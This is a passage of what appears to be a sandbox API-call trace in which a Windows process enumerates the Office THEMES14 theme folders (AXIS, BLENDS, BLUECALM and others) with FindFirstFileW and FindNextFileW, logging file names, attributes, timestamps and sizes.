ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0079.253] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0079.253] GetProcessHeap () returned 0x550000 [0079.253] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0079.253] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0079.253] GetProcessHeap () returned 0x550000 [0079.253] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0079.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0079.291] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.292] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0079.292] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0079.292] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0079.292] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0079.292] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0079.293] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0079.293] GetProcessHeap () returned 0x550000 [0079.293] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0079.293] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0079.293] GetProcessHeap () returned 0x550000 [0079.293] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0079.293] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0080.402] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0080.402] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0080.403] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0080.403] GetProcessHeap () returned 0x550000 [0080.403] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0080.403] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0080.403] GetProcessHeap () returned 0x550000 [0080.403] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0080.404] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0080.404] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.404] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0080.405] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0080.405] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0080.405] GetProcessHeap () returned 0x550000 [0080.406] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0080.406] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0080.406] GetProcessHeap () returned 0x550000 [0080.406] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0080.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0080.412] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0080.412] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0080.413] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0080.413] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0080.413] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0080.413] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0080.413] GetProcessHeap () returned 0x550000 [0080.414] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0080.414] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0080.414] GetProcessHeap () returned 0x550000 [0080.414] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0080.414] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0080.416] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.416] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0080.416] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0080.417] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0080.417] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0080.417] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0080.417] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0080.417] GetProcessHeap () returned 0x550000 [0080.417] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0080.417] FindNextFileW (in: hFindFile=0x2684270, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0080.418] GetProcessHeap () returned 0x550000 [0080.418] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0080.418] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2c9eba8 | out: lpFindFileData=0x2c9eba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, 